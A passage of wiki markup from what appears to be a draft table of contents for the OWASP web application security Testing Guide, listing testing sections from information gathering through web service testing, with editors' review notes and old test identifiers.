'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Database credentials/connection strings available|4.3.7 Testing for Database credentials/connection strings available (OTG-CONFIG-007) ]] formerly &amp;quot;Testing for Database credentials/connection strings available (OWASP-CM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Security Policy weakness|4.3.8 Test Content Security Policy (OTG-CONFIG-008) ]] formerly &amp;quot;Testing for Content Security Policy weakness (OWASP-CM-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Missing HSTS header|4.3.9 Test HTTP Strict Transport Security (OTG-CONFIG-009) ]] formerly &amp;quot;Testing for Missing HSTS header (OWASP-CM-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Frame Options|4.3.10 Test Frame Options (OTG-CONFIG-010) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for RIA policy files weakness|4.3.11 Test RIA cross domain policy (OTG-CONFIG-011) ]] formerly &amp;quot;Testing for RIA policy files weakness (OWASP-CM-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Content Type Options|4.3.12 Test Content Type Options (OTG-CONFIG-012) ]] new&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Identity Management|'''4.4 Identity Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Role Definitions (OTG-IDENT-001)|4.4.1 Test Role Definitions (OTG-IDENT-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Registration Process (OTG-IDENT-002)|4.4.2 Test User Registration Process (OTG-IDENT-002)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Provisioning Process (OTG-IDENT-003)|4.4.3 Test Account Provisioning Process (OTG-IDENT-003)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)|4.4.4 Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004) ]] formerly &amp;quot;Testing for Account Enumeration and Guessable User Account (OWASP-AT-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak or unenforced username policy (OWASP-AT-009)| 4.4.5 Testing for Weak or unenforced username policy (OTG-IDENT-005)]] formerly &amp;quot;Testing for Weak or unenforced username policy (OWASP-AT-009)&lt;br /&gt;
&lt;br /&gt;
[[Test Permissions of Guest/Training Accounts (OTG-IDENT-006)|4.4.6 Test Permissions of Guest/Training Accounts (OTG-IDENT-006)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Suspension/Resumption Process (OTG-IDENT-007)|4.4.7 Test Account Suspension/Resumption Process (OTG-IDENT-007)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test User Deregistration Process (OTG-IDENT-008)|4.4.8 Test User Deregistration Process (OTG-IDENT-008)]] New&lt;br /&gt;
&lt;br /&gt;
[[Test Account Deregistration Process (OTG-IDENT-009)|4.4.9 Test Account Deregistration Process (OTG-IDENT-009)]] New&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for authentication|'''4.5 Authentication Testing ''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Credentials Transported over an Encrypted Channel (OWASP-AT-001)|4.5.1 Testing for Credentials Transported over an Encrypted Channel  (OTG-AUTHN-001)]] formerly &amp;quot;Testing for Credentials Transported over an Encrypted Channel  (OWASP-AT-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for default credentials (OWASP-AT-003)|4.5.2 Testing for default credentials (OTG-AUTHN-002)]] formerly &amp;quot;Testing for default credentials (OWASP-AT-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak lock out mechanism (OWASP-AT-004)|4.5.3 Testing for Weak lock out mechanism (OTG-AUTHN-003)]] formerly &amp;quot;Testing for Weak lock out mechanism (OWASP-AT-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authentication Schema (OWASP-AT-005)|4.5.4 Testing for bypassing authentication schema (OTG-AUTHN-004)]] formerly &amp;quot;Testing for bypassing authentication schema (OWASP-AT-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Vulnerable Remember Password (OWASP-AT-006)|4.5.5 Test remember password functionality (OTG-AUTHN-005)]] formerly &amp;quot;Testing for vulnerable remember password functionality (OWASP-AT-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Browser cache weakness (OWASP-AT-007)|4.5.6 Testing for Browser cache weakness (OTG-AUTHN-006)]] formerly &amp;quot;Testing for Browser cache weakness (OWASP-AT-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak password policy (OWASP-AT-008)|4.5.7 Testing for Weak password policy (OTG-AUTHN-007)]] formerly &amp;quot;Testing for Weak password policy (OWASP-AT-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak security question/answer (OTG-AUTHN-008)|4.5.8 Testing for Weak security question/answer (OTG-AUTHN-008)]] New! - Robert Winkel&lt;br /&gt;
&lt;br /&gt;
[[Testing for weak password change or reset functionalities (OWASP-AT-011)|4.5.9 Testing for weak password change or reset functionalities (OTG-AUTHN-009)]] formerly &amp;quot;Testing for weak password change or reset functionalities (OWASP-AT-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)|4.5.10 Testing for Weaker authentication in alternative channel (OTG-AUTHN-010)]] (e.g. mobile app, IVR, help desk)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Authorization|'''4.6 Authorization Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Test Management of Account Permissions (OTG-AUTHZ-001)|4.6.1 Test Management of Account Permissions (OTG-AUTHZ-001)]] New&lt;br /&gt;
&lt;br /&gt;
[[Testing for Path Traversal  (OWASP-AZ-001)|4.6.2 Testing Directory traversal/file include (OTG-AUTHZ-002)]] formerly &amp;quot;Testing Directory traversal/file include (OWASP-AZ-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Bypassing Authorization Schema  (OWASP-AZ-002)|4.6.3 Testing for bypassing authorization schema (OTG-AUTHZ-003)]] formerly &amp;quot;Testing for bypassing authorization schema  (OWASP-AZ-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; David Fern]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section&lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
